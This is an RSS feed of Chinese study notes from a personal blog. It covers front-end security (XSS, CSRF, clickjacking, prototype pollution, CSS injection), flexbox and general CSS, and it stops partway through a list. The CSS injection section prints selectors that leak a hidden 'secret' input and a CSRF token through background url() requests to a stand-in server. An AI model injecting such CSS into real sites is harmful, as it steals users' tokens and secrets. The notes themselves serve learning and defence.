<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>css on EuDs&#39;s Blog</title>
    <link>https://euds.org/tags/css/</link>
    <follow_challenge>
      <feedId>55788057182175234</feedId>
      <userId>67186528297029632</userId>
    </follow_challenge>
    <description>Recent content in css on EuDs&#39;s Blog</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en</language>
    <lastBuildDate>Fri, 11 Oct 2024 15:34:14 +0800</lastBuildDate><atom:link href="https://euds.org/tags/css/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>前端安全</title>
      <link>https://euds.org/2024/frontend_security/</link>
      <pubDate>Fri, 11 Oct 2024 15:34:14 +0800</pubDate>
      
      <guid>https://euds.org/2024/frontend_security/</guid>
      <description>自己学习过程中整理的关于前端安全的知识点</description>
      <content:encoded><![CDATA[<h2 id="xss攻击">xss攻击</h2>
<ul>
<li>Cross-Site Scripting（跨站脚本攻击）简称 XSS，是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本，使之在用户的浏览器上运行。利用这些恶意脚本，攻击者可获取用户的敏感信息如 Cookie、SessionID 等，进而危害数据安全。</li>
<li>三种类型:
<table>
<thead>
<tr>
<th>类型</th>
<th>存储区</th>
<th>插入点</th>
</tr>
</thead>
<tbody>
<tr>
<td>存储型 XSS</td>
<td>后端数据库</td>
<td>HTML</td>
</tr>
<tr>
<td>反射型 XSS</td>
<td>URL</td>
<td>HTML</td>
</tr>
<tr>
<td>DOM 型 XSS</td>
<td>后端数据库/前端存储/URL</td>
<td>JavaScript</td>
</tr>
</tbody>
</table>
</li>
<li>DOM 型 XSS 跟前两种 XSS 的区别：DOM 型 XSS 攻击中，取出和执行恶意代码由浏览器端完成，属于前端 JavaScript 自身的安全漏洞，而其他两种 XSS 都属于服务端的安全漏洞。</li>
<li>防范
<ol>
<li>阻止攻击者提交恶意代码
<ul>
<li>输入过滤： 道高一尺魔高一丈，难</li>
<li>输入长度限制</li>
</ul>
</li>
<li>防止浏览器执行恶意代码
<ul>
<li>预防存储型和反射型 XSS 攻击
<ul>
<li>改成纯前端渲染，把代码和数据分隔开。</li>
<li>对 HTML 做充分转义</li>
</ul>
</li>
<li>预防 DOM 型 XSS 攻击</li>
</ul>
</li>
<li>利用 CSP 来抵御或者削弱 XSS 攻击，一个 CSP 兼容的浏览器将会仅执行从白名单域获取到的脚本文件，忽略所有的其他脚本</li>
<li>对关键 Cookie 设置 http-only 属性</li>
</ol>
</li>
<li>参考：
<ul>
<li><a href="https://tech.meituan.com/2018/09/27/fe-security.html"  target="_blank" rel="noopener" >前端安全系列（一）：如何防止XSS攻击？ - 美团技术团队</a></li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Glossary/Cross-site_scripting"  target="_blank" rel="noopener" >Cross-site scripting（跨站脚本攻击） - MDN Web 文档术语表：Web 相关术语的定义 | MDN</a></li>
<li><a href="https://urdusecurity.blogspot.com/2014/04/xss-chalenges-bypass.html"  target="_blank" rel="noopener" >Example</a></li>
<li><a href="https://juejin.cn/post/6874743455776505870"  target="_blank" rel="noopener" >浅谈 React 中的 XSS 攻击 - 掘金</a></li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP"  target="_blank" rel="noopener" >内容安全策略（CSP） - HTTP | MDN</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="javascript-prototype-污染攻击">JavaScript Prototype 污染攻击</h2>
<h3 id="prototype基本概念">prototype基本概念</h3>
<ul>
<li><code>prototype</code>是一个类的属性，所有类对象在实例化的时候将会拥有prototype中的属性和方法</li>
<li>一个对象的<code>__proto__</code>属性，指向这个对象所在的类的<code>prototype</code>属性</li>
</ul>
<h3 id="参考">参考</h3>
<ul>
<li><a href="https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html"  target="_blank" rel="noopener" >深入理解 JavaScript Prototype 污染攻击 | 离别歌</a></li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Inheritance_and_the_prototype_chain"  target="_blank" rel="noopener" >继承与原型链 - JavaScript | MDN</a></li>
</ul>
<hr>
<h2 id="csrf">CSRF</h2>
<h3 id="概念">概念</h3>
<ul>
<li>CSRF（Cross-site request forgery）跨站请求伪造</li>
<li>一次CSRF攻击的过程
<ol>
<li>攻击者诱导受害者进入第三方网站，在第三方网站中，向被攻击网站发送跨站请求。</li>
<li>利用受害者在被攻击网站已经获取的注册凭证，绕过后台的用户验证，达到冒充用户对被攻击的网站执行某项操作的目的。</li>
</ol>
</li>
</ul>
<h3 id="特点">特点:</h3>
<ul>
<li>CSRF（通常）发生在第三方域名。</li>
<li>CSRF攻击者不能获取到Cookie等信息，只是使用</li>
</ul>
<h3 id="防护策略">防护策略</h3>
<ul>
<li><strong>阻止不明外域的访问</strong>
<ul>
<li>同源检测
<ul>
<li>使用<code>Origin Header</code>确定来源域名</li>
<li>使用<code>Referer Header</code>确定来源域名</li>
<li>如果直接在本域发起攻击，同源策略无法达到防护的作用</li>
<li>Samesite Cookie</li>
</ul>
</li>
</ul>
</li>
<li><strong>提交时要求附加本域才能获取的信息</strong>
<ul>
<li>CSRF Token
<ul>
<li>我们可以要求所有的用户请求都携带一个CSRF攻击者无法获取到的Token。服务器通过校验请求是否携带正确的Token，来把正常的请求和攻击的请求区分开，也可以防范CSRF的攻击</li>
<li>双重Cookie验证
<ul>
<li>难以做到子域名的隔离</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<h3 id="参考-1">参考：</h3>
<ul>
<li><a href="https://tech.meituan.com/2018/10/11/fe-security-csrf.html"  target="_blank" rel="noopener" >前端安全系列（二）：如何防止CSRF攻击？ - 美团技术团队</a></li>
</ul>
<hr>
<h2 id="点击劫持攻击">点击劫持攻击</h2>
<h3 id="原理">原理</h3>
<ol>
<li>黑客创建一个恶意页面</li>
<li>页面中有一个吸引用户点击的按钮</li>
<li>按钮上方放置一个透明的iframe，其src为黑客希望以用户的名义点击的网站</li>
</ol>
<h3 id="防护策略-1">防护策略</h3>
<ul>
<li>不希望被在iframe中查看: 使用 <code>X-Frame-Options: SAMEORIGIN</code></li>
<li>若要允许在iframe中显示，则可以使用一个<code>&lt;div&gt;</code>对整个页面进行遮盖
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="nx">top</span><span class="p">.</span><span class="nb">document</span><span class="p">.</span><span class="nx">domain</span> <span class="o">==</span> <span class="nb">document</span><span class="p">.</span><span class="nx">domain</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nx">protector</span><span class="p">.</span><span class="nx">remove</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span></code></pre></div></li>
<li>使用<code>samesite</code> cookie</li>
</ul>
<h3 id="参考-2">参考</h3>
<ul>
<li><a href="https://zh.javascript.info/clickjacking"  target="_blank" rel="noopener" >点击劫持攻击</a></li>
</ul>
<hr>
<h2 id="css-injection">CSS injection</h2>
<ul>
<li>属性选择器可以選到「屬性符合某個條件的元素」: <code>input[value^=a]</code></li>
<li>可以利用 CSS 發出 request
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="nx">input</span><span class="p">[</span><span class="nx">name</span><span class="o">=</span><span class="s2">&#34;secret&#34;</span><span class="p">][</span><span class="nx">value</span><span class="o">^=</span><span class="s2">&#34;a&#34;</span><span class="p">]</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">background</span><span class="o">:</span> <span class="nx">url</span><span class="p">(</span><span class="nx">https</span><span class="o">:</span><span class="c1">//myserver.com?q=a)
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">}</span>
</span></span></code></pre></div></li>
<li>偷 hidden input
<ul>
<li>因為 input 的 type 是 hidden，所以這個元素不會顯示在畫面上,也就不会载入背景图片</li>
<li><code>display:block !important;</code>不起作用</li>
<li>方法:
<ul>
<li><code>+</code>: 選到後面的元素</li>
<li><code>has</code>: 選到「底下符合特殊條件的元素」</li>
</ul>
</li>
</ul>
</li>
<li>偷meta
<ul>
<li>可以自己用 CSS 讓這個元素變成可見
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nx">head</span><span class="p">,</span> <span class="nx">meta</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"><span class="nx">display</span><span class="o">:</span> <span class="nx">block</span><span class="p">;</span>  
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">meta</span><span class="p">[</span><span class="nx">name</span><span class="o">=</span><span class="s2">&#34;csrf-token&#34;</span><span class="p">][</span><span class="nx">content</span><span class="o">^=</span><span class="s2">&#34;a&#34;</span><span class="p">]</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"><span class="nx">background</span><span class="o">:</span> <span class="nx">url</span><span class="p">(</span><span class="nx">https</span><span class="o">:</span><span class="c1">//example.com?q=a);
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">}</span>
</span></span></code></pre></div></li>
</ul>
</li>
</ul>
<h3 id="参考-3">参考</h3>
<ul>
<li><a href="https://blog.huli.tw/2022/09/29/css-injection-1/"  target="_blank" rel="noopener" >用 CSS 來偷資料 - CSS injection（上） - Huli&rsquo;s blog</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>CSS知识点整理之flex</title>
      <link>https://euds.org/2024/css_points_of_flex/</link>
      <pubDate>Thu, 10 Oct 2024 15:34:14 +0800</pubDate>
      
      <guid>https://euds.org/2024/css_points_of_flex/</guid>
      <description>自己学习过程中整理的关于CSS中flex的知识点</description>
      <content:encoded><![CDATA[<h2 id="基本概念">基本概念</h2>
<ul>
<li><strong>Primary axis</strong>: Children will be bunched up at the start of the container.</li>
<li><strong>Cross axis</strong>: Children will stretch out to fill the entire container.</li>
<li><strong>justify</strong> — to position something along the primary axis.</li>
<li><strong>align</strong> — to position something along the cross axis.</li>
<li><strong>content</strong> — a group of “stuff” that can be distributed.</li>
<li><strong>items</strong> — single items that can be positioned individually</li>
</ul>
<hr>
<h2 id="属性">属性</h2>
<h3 id="flex-direction"><code>flex-direction</code></h3>
<ul>
<li>属性决定主轴的方向（即项目的排列方向）。</li>
</ul>
<h3 id="justify-content"><code>justify-content</code></h3>
<ul>
<li>control the distribution of the group along <strong>the primary axis</strong></li>
</ul>
<h3 id="align-self"><code>align-self</code></h3>
<ul>
<li>change the alignment of a specific child along <strong>the cross axis</strong></li>
</ul>
<h3 id="align-items"><code>align-items</code></h3>
<ul>
<li>a convenient shorthand that automatically sets the alignment on all the children at once</li>
<li>flex-start：交叉轴的起点对齐。</li>
<li>flex-end：交叉轴的终点对齐。</li>
<li>center：交叉轴的中点对齐。</li>
<li>baseline: 项目的第一行文字的基线对齐。</li>
<li>stretch（默认值）：如果项目未设置高度或设为auto，将占满整个容器的高度</li>
</ul>
<h3 id="flex-grow"><code>flex-grow</code></h3>
<ul>
<li>number,默认为0，不能为负数</li>
<li>规定了 flex-grow 项在 flex 容器中分配剩余空间的相对比例</li>
<li>剩余空间是 flex 容器的大小减去所有 flex 项的大小加起来的大小</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/flex-grow"  target="_blank" rel="noopener" >flex-grow - CSS: Cascading Style Sheets | MDN</a></li>
</ul>
<h3 id="flex-shrink"><code>flex-shrink</code></h3>
<ul>
<li>number, 默认为1，不难为负数</li>
<li>The flex shrink factor is multiplied by the flex base size; this distributes negative space in proportion to how much the item can shrink. This prevents smaller items from shrinking to 0px before a larger item is noticeably reduced.</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/flex-shrink"  target="_blank" rel="noopener" >flex-shrink - CSS: Cascading Style Sheets | MDN</a></li>
</ul>
<h3 id="flex-basis"><code>flex-basis</code></h3>
<ul>
<li>
<p>指定了 flex 元素在主轴方向上的初始大小(内容盒)</p>
</li>
<li>
<p>flex-basis 优先级比 width(height)高</p>
</li>
<li>
<p>若 <code>flex-basis</code> 为 <code>auto</code>,则 <code>width</code> 设置多少就是多少。</p>
<ul>
<li>举例 <code>flex-basis:auto;width: 300px</code>，则子项就为300px(故意没说宽或者高，因为<code>flex-direction</code>可能会变,下文也一样)。若没设置 <code>width</code>， 则根据内容撑起来。</li>
</ul>
</li>
<li>
<p>若 <code>flex-basis</code> 为 0 ，根据优先级，那子项就是为0px。更不用说同时设置了具体数值，如:<code>flex-basis:200px;width:300px</code>,那子项自然为200px</p>
</li>
<li>
<p><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/flex-basis"  target="_blank" rel="noopener" >flex-basis - CSS: Cascading Style Sheets | MDN</a></p>
</li>
</ul>
<h3 id="flex">flex</h3>
<ul>
<li>
<p>是<code>flex-grow</code>,<code>flex-shrink</code>,<code>flex-basis</code>的简写</p>
</li>
<li>
<p><code>flex-basis</code>，<code>flex-grow</code>，<code>flex-shrink</code> 三者的关系</p>
<ul>
<li><code>flex-basis</code> 是在 <code>flex-grow</code>,<code>flex-shrink</code> 之前看的</li>
<li>意思就是 <code>flex-basis</code> 设定好了再看另外两者，若空间还有富余，就 <code>flex-grow</code>，若空间不够，就<code>flex-shrink</code></li>
</ul>
</li>
<li>
<p>取值</p>
<ol>
<li>initial</li>
</ol>
<ul>
<li>元素会根据自身宽高设置尺寸。它会缩短自身以适应 flex 容器，但不会伸长并吸收 flex 容器中的额外自由空间来适应 flex 容器。相当于将属性设置为&quot;flex: 0 1 auto&quot;。</li>
</ul>
<ol start="2">
<li>auto</li>
</ol>
<ul>
<li>元素会根据自身的宽度与高度来确定尺寸，但是会伸长并吸收 flex 容器中额外的自由空间，也会缩短自身来适应 flex 容器。这相当于将属性设置为 &ldquo;flex: 1 1 auto&rdquo;.</li>
</ul>
<ol start="3">
<li>none</li>
</ol>
<ul>
<li>元素会根据自身宽高来设置尺寸。它是完全非弹性的：既不会缩短，也不会伸长来适应 flex 容器。相当于将属性设置为&quot;flex: 0 0 auto&quot;。</li>
</ul>
<ol start="4">
<li>1</li>
</ol>
<ul>
<li><code>flex-grow:1 , flex-shrink-1, flex-basis-0</code>的缩写</li>
</ul>
</li>
</ul>
<h3 id="gap"><code>gap</code></h3>
<ul>
<li>allows us to create space in-between each Flex child</li>
</ul>
<h3 id="marginauto"><code>margin:auto</code></h3>
<ul>
<li>will gobble up the extra space, and apply it to the element&rsquo;s margin</li>
</ul>
<h3 id="flex-wrap"><code>flex-wrap</code></h3>
<ul>
<li><code>nowrap</code> 默认</li>
<li><code>wrap</code></li>
<li><code>warp-reverse</code></li>
</ul>
<hr>
<h2 id="实现两列等高">实现两列等高</h2>
<h3 id="需求描述">需求描述</h3>
<p>两列布局，以较矮的一列为基准，较高的一列超出部分以滚动条形式</p>
<h3 id="参考">参考</h3>
<ul>
<li><a href="https://juejin.cn/post/6924826615729881101?from=search-suggest"  target="_blank" rel="noopener" >CSS中，如何处理短内容和长内容？ - 掘金</a></li>
<li><a href="https://frontend-note.benbinbin.com/article/css/css-layout"  target="_blank" rel="noopener" >CSS 网页布局</a></li>
<li><a href="https://www.imarketinx.de/artikel/equal-height-columns-with-css-grid-layout.html"  target="_blank" rel="noopener" >Equal height columns with CSS Grid Layout - over any number of rows</a></li>
<li><a href="https://jessieji.com/2019/pure-css-masonry"  target="_blank" rel="noopener" >纯 CSS 实现横向排序的瀑布流式布局 - The Trivial</a></li>
<li><a href="https://css-tricks.com/equal-columns-with-flexbox-its-more-complicated-than-you-might-think/"  target="_blank" rel="noopener" >Equal Columns With Flexbox: It’s More Complicated Than You Might Think | CSS-Tricks</a></li>
<li><a href="https://yogwang.site/2022/CSS-flex-container-stretched-by-content/"  target="_blank" rel="noopener" >flex 容器宽度被内容撑开的问题 | blog [ YOG WANG ]</a></li>
</ul>
<hr>
<h2 id="实现换行">实现换行</h2>
<h3 id="需求描述-1">需求描述</h3>
<p>文字内容过长，希望它换行，而不是溢出</p>
<h3 id="解决过程">解决过程</h3>
<ol>
<li>第一版代码
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">div</span> <span class="na">className</span><span class="o">=</span><span class="s">&#34;flex flex-col&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">p</span> <span class="na">className</span><span class="o">=</span><span class="s">&#34;font-semibold text-lg text-blue-500 truncate&#34;</span><span class="p">&gt;{</span><span class="nx">product</span><span class="p">.</span><span class="nx">title</span><span class="p">}</span><span class="mi">111111111111111111111111</span><span class="p">&lt;/</span><span class="nt">p</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span></code></pre></div>这代码怎么调都还是溢出，后来发现删掉外层的flex就好了,改成</li>
<li>第二版代码
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">p</span> <span class="na">className</span><span class="o">=</span><span class="s">&#34;font-semibold text-lg text-blue-500 overflow-hidden text-ellipsis whitespace-nowrap&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span><span class="nx">product</span><span class="p">.</span><span class="nx">title</span><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">p</span><span class="p">&gt;</span>
</span></span></code></pre></div></li>
<li>发现原因在于连续的字母或者数字会被当做一个单词或文本内容，故不会主动换行显示。</li>
<li>另一种解决方案是使用<a href="https://tailwindcss.com/docs/word-break#break-all"  target="_blank" rel="noopener" >break-all</a></li>
</ol>
<h3 id="参考-1">参考</h3>
<ul>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/flex-wrap"  target="_blank" rel="noopener" >flex-wrap - CSS: Cascading Style Sheets | MDN</a></li>
<li><a href="https://juejin.cn/post/7314507576439472169"  target="_blank" rel="noopener" >Flex 踩坑指南（文字、图片溢出问题） - Minimum Content Size In CSS Flexbox - 掘金</a></li>
<li><a href="https://www.cnblogs.com/xinyuyue/p/14371506.html"  target="_blank" rel="noopener" >使用flex 布局时，英文不自动换行 - 北极星333y - 博客园</a></li>
<li><a href="https://xugaoyi.com/pages/42b66999cc27dc25/"  target="_blank" rel="noopener" >文字在一行或多行时超出显示省略号 | Evan&rsquo;s blog</a></li>
</ul>
<hr>
<h2 id="参考-2">参考</h2>
<ul>
<li><a href="https://www.joshwcomeau.com/css/interactive-guide-to-flexbox/"  target="_blank" rel="noopener" >An Interactive Guide to Flexbox in CSS</a></li>
<li><a href="https://www.ruanyifeng.com/blog/2015/07/flex-grammar.html"  target="_blank" rel="noopener" >Flex 布局教程：语法篇 - 阮一峰的网络日志</a></li>
<li><a href="https://zhuanlan.zhihu.com/p/91470473"  target="_blank" rel="noopener" >flex 笔记（血与泪） - 知乎</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>CSS知识点整理</title>
      <link>https://euds.org/2024/css_points/</link>
      <pubDate>Sat, 06 Apr 2024 15:34:14 +0800</pubDate>
      
      <guid>https://euds.org/2024/css_points/</guid>
      <description>自己学习过程中整理的关于CSS的知识点</description>
      <content:encoded><![CDATA[<h2 id="如何理解css">如何理解css</h2>
<blockquote>
<p>I like to think of CSS as a collection of layout modes. Each layout mode is an algorithm that can implement or redefine each CSS property. We provide an algorithm with our CSS declarations (key/value pairs), and the algorithm decides how to use them.</p>
<p>In other words, the CSS we write is an input for these algorithms, like arguments passed to a function. If we want to truly feel comfortable with CSS, it&rsquo;s not enough to learn the properties; we have to learn how the algorithms use these properties.</p>
</blockquote>
<p>参考<a href="https://www.joshwcomeau.com/css/interactive-guide-to-flexbox/"  target="_blank" rel="noopener" >An Interactive Guide to Flexbox in CSS</a></p>
<hr>
<h2 id="常见的css布局单位">常见的css布局单位</h2>
<ul>
<li>px: 绝对单位</li>
<li>em: 相对单位
<ul>
<li>font-size：相对于父元素字体</li>
<li>width: 相对于当前元素字体</li>
</ul>
</li>
<li>rem(root em): 相对单位
<ul>
<li>相对于根元素，也就是<code>html</code></li>
</ul>
</li>
<li><code>&lt;meta name=&quot;viewport&quot; content=&quot;width=device-width&quot;&gt;</code></li>
</ul>
<h3 id="参考">参考</h3>
<ul>
<li><a href="https://www.explainthis.io/zh-hant/swe/css-px-em-rem-differences"  target="_blank" rel="noopener" >CSS 中有哪些單位? 該如何使用?｜ExplainThis</a></li>
<li><a href="https://www.cnblogs.com/kidney/p/6692312.html"  target="_blank" rel="noopener" >1px 究竟是多大 - {Bison} - 博客园</a></li>
</ul>
<hr>
<h2 id="viewport">viewport</h2>
<p>wip</p>
<ul>
<li><a href="https://www.kyleblog.cn/posts/viewport"  target="_blank" rel="noopener" >viewport配置里的width=device-width和initial-scale=1.0到底是干嘛的 - KyleBlog.cn</a></li>
</ul>
<hr>
<h2 id="orientation">orientation</h2>
<ul>
<li>
<p>portrait: The viewport is in a portrait orientation, i.e., the height is greater than or equal to the width.</p>
</li>
<li>
<p>landscape: The viewport is in a landscape orientation, i.e., the width is greater than the height.</p>
</li>
<li>
<p>参考: <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/@media/orientation"  target="_blank" rel="noopener" >orientation - CSS: Cascading Style Sheets | MDN</a></p>
</li>
</ul>
<hr>
<h2 id="visibility">Visibility</h2>
<ul>
<li>visible</li>
<li>hidden</li>
<li>collapse: 只对 table 对象起作用，能移除行或列但不会影响表格的布局。如果这个值用在 table 以外的对象上则表现为 hidden</li>
<li>inherit</li>
</ul>
<hr>
<h2 id="display">Display</h2>
<h3 id="分类">分类</h3>
<ul>
<li>none: 元素不可见，并且不为其保留相应的位置</li>
<li>block: 表现为一个块级元素（一般情况下独占一行） <code>&lt;div&gt;、 &lt;h1&gt;、&lt;p&gt;</code></li>
<li>inline: 表现为一个行级元素（一般情况下不独占一行）<code>&lt;a&gt;、&lt;img&gt;、&lt;span&gt;</code></li>
<li>inline-block: 结合了行內元素和塊級元素的特點，會像 inline 元素一樣的同行排列，但同時擁有 block 元素可以設定寬高的特性。</li>
</ul>
<h3 id="visibilityhidden-vs-displaynone-vs-opacity0">visibility:hidden vs display:none vs opacity:0</h3>
<ul>
<li><code>visibility: hidden;</code>: 隐藏元素，但是它仍然占用布局中的空间。如果隐藏框的子元素的可见性设置为“可见”，则它们将是可见的。</li>
<li><code>display: none;</code>: 关闭显示并从文档中完全删除该元素。即使它的HTML仍在源代码中，它也不占用任何空间。即使所有子元素的显示属性均设置为none，也将关闭其显示。</li>
<li>具有<code>opacity: 0</code>的元素是可以互动的，因为它们<strong>实际上是可见</strong>的，只是非常透明。opacity 属性并不指定一个元素的可见性——它只指定透明度</li>
<li>参考: <a href="https://www.freecodecamp.org/chinese/news/css-display-none-and-visibility-hidden-the-difference/"  target="_blank" rel="noopener" >CSS display:none 和 visibility:hidden 的区别</a></li>
</ul>
<hr>
<h2 id="bfc-vs-ifc">BFC v.s IFC</h2>
<h3 id="bfc">BFC</h3>
<ul>
<li>块级格式上下文 (Block Formatting Context)</li>
<li>概念
<ol>
<li>一个独立的渲染区域，只有Block-level box参与</li>
<li>规定了内部的Block-level Box如何布局，并且与这个区域外部毫不相干。</li>
</ol>
</li>
<li>规则
<ol>
<li>内部的Box会在垂直方向，一个接一个地放置</li>
<li>BFC就是页面上的一个隔离的独立容器，容器里面的子元素不会影响到外面的元素。反之也如此。</li>
</ol>
</li>
<li>产生
<ol>
<li>overflow的值不为visible。(这个是最推荐开启bfc的,副作用最小)</li>
<li>position的值不为relative和static。</li>
<li>display的值为table-cell, table-caption, inline-block中的任何一个。</li>
</ol>
</li>
<li>使用场景
<ol>
<li>自适应两栏布局</li>
<li>清除内部浮动</li>
<li>防止margin重叠</li>
<li>实现更健壮、更智能的自适应布局。</li>
</ol>
</li>
</ul>
<h3 id="ifc">IFC</h3>
<ul>
<li>内联格式化上下文（inline formatting context）</li>
</ul>
<h3 id="参考-1">参考</h3>
<ul>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/CSS_display/Block_formatting_context"  target="_blank" rel="noopener" >区块格式化上下文 - CSS：层叠样式表 | MDN</a></li>
<li><a href="https://github.com/YvetteLau/Step-By-Step/issues/15"  target="_blank" rel="noopener" >什么是BFC？BFC的规则是什么？如何创建BFC？ · Issue #15 · YvetteLau/Step-By-Step</a></li>
</ul>
<hr>
<h2 id="盒模型">盒模型</h2>
<h3 id="四部分组成">四部分组成</h3>
<ol>
<li>元素内容（content）：</li>
<li>内边距（padding）</li>
<li>边框（border）</li>
<li>外边距（margin）</li>
</ol>
<h3 id="分类-1">分类</h3>
<ol>
<li>W3C 标准盒子模型: width/height 只是内容高度</li>
<li>IE 怪异盒子模型: width/height 包含了 padding和 border</li>
</ol>
<h3 id="box-sizing">box-sizing</h3>
<ul>
<li>语法: <code>box-sizing: content-box|border-box|inherit:</code></li>
</ul>
<hr>
<h2 id="css中可以和不可以继承的属性">CSS中可以和不可以继承的属性</h2>
<ul>
<li>具体参见<a href="https://www.cnblogs.com/thislbq/p/5882105.html"  target="_blank" rel="noopener" >CSS中可以和不可以继承的属性 - KerwinLee - 博客园</a></li>
<li>基本原则:
<ul>
<li>文本属性和字体属性通常是可以继承的: font-size, font-weight, line-height, color, cursor,letter-spacing等</li>
<li>涉及到盒模型属性，布局属性(例如，display, position)，背景属性普遍是不能继承: display, margin，border，padding，height等</li>
<li>需要特别注意的是元素可见性属性(visibility)是可以继承的</li>
</ul>
</li>
<li>验证: 开发者工具，选择具体元素并查看元素选项，若为灰色则不可继承</li>
<li>参考
<ul>
<li><a href="https://juejin.cn/post/7065209860400349191"  target="_blank" rel="noopener" >如何确定一个 CSS 属性是否可以被继承基本原则 文本属性和字体方属性通常是可以继承的，盒模型属性，布局属性，背景属性普 - 掘金</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="优先级">优先级</h2>
<h3 id="选择器">选择器</h3>
<ul>
<li>id选择器: <code>#id{}</code></li>
<li>类选择器: <code>.class{}</code></li>
<li>属性选择器: <code>a[href=&quot;ds63.eu.org&quot;]{}</code></li>
<li>伪类选择器: <code>::before{}</code></li>
<li>标签选择器: <code>span{}</code></li>
<li>通配选择器: <code>*{}</code></li>
</ul>
<h3 id="规则">规则</h3>
<ol>
<li>最近的祖先样式比其他祖先样式优先级高</li>
<li>&ldquo;直接样式&quot;比&quot;祖先样式&quot;优先级高</li>
<li>优先级顺序: 内联样式 &gt; ID 选择器 &gt; 类选择器 = 属性选择器 = 伪类选择器 &gt; 标签选择器 = 伪元素选择器</li>
<li>计算选择符中 ID 选择器的个数（a），计算选择符中类选择器、属性选择器以及伪类选择器的个数之和（b），计算选择符中标签选择器和伪元素选择器的个数之和（c）。按 a、b、c 的顺序依次比较大小，大的则优先级高，相等则比较下一个。若最后两个的选择符中 a、b、c 都相等，则按照&quot;就近原则&quot;来判断。</li>
<li>属性后插有<code>!important</code>的属性拥有最高优先级。若同时插有 !important，则再利用规则 3、4 判断优先级</li>
</ol>
<h3 id="参考-2">参考</h3>
<ul>
<li><a href="https://www.runoob.com/w3cnote/css-style-priority.html"  target="_blank" rel="noopener" >CSS 样式优先级 | 菜鸟教程</a></li>
<li><a href="https://www.explainthis.io/zh-hans/swe/css-specificity"  target="_blank" rel="noopener" >请说明 CSS 选择器的优先级｜ExplainThis</a></li>
</ul>
<hr>
<h2 id="position">position</h2>
<h3 id="static"><code>static</code></h3>
<p>默认值。没有定位，元素出现在正常的流中（忽略top,bottom,left,right,z-index声明）。</p>
<h3 id="absolute"><code>absolute</code></h3>
<ul>
<li>生成绝对定位的元素，相对于<strong>值不为static的第一个父元素的paddingbox</strong>进行定位</li>
<li>在父元素没有设置相对定位或绝对定位的情况下，元素相对于根元素定位（即html元素）</li>
<li>元素会脱离文档流</li>
</ul>
<h3 id="fixed"><code>fixed</code></h3>
<ul>
<li>生成绝对定位的元素，相对于浏览器窗口进行定位。</li>
</ul>
<h3 id="relative"><code>relative</code></h3>
<ul>
<li>生成相对定位的元素，相对于<strong>其元素本身所在正常位置</strong>进行定位。</li>
</ul>
<h3 id="inherit"><code>inherit</code></h3>
<ul>
<li>规定从父元素继承position属性的值。</li>
</ul>
<h3 id="参考-3">参考</h3>
<ul>
<li><a href="https://www.runoob.com/w3cnote/css-position-static-relative-absolute-fixed.html"  target="_blank" rel="noopener" >CSS position 相对定位和绝对定位 | 菜鸟教程</a></li>
</ul>
<hr>
<h2 id="伪类与伪元素">伪类与伪元素</h2>
<h3 id="伪类">伪类</h3>
<ul>
<li><code>:hover</code></li>
<li><code>:focus</code></li>
<li><code>:first-child</code></li>
<li><code>:nth-child(n)</code></li>
<li>LVHA
<ol>
<li><code>:link</code></li>
<li><code>:visited</code></li>
<li><code>:hover</code></li>
<li><code>:active</code></li>
</ol>
</li>
</ul>
<h3 id="伪元素">伪元素</h3>
<ul>
<li>用户无法直接选中或复制 CSS 伪元素: 因为伪元素生成的内容并不是真正的 DOM 元素，而是由浏览器在渲染时动态插入的,这也是伪元素为什么叫“伪”元素。</li>
<li><code>::before</code>,<code>::after</code>
<ul>
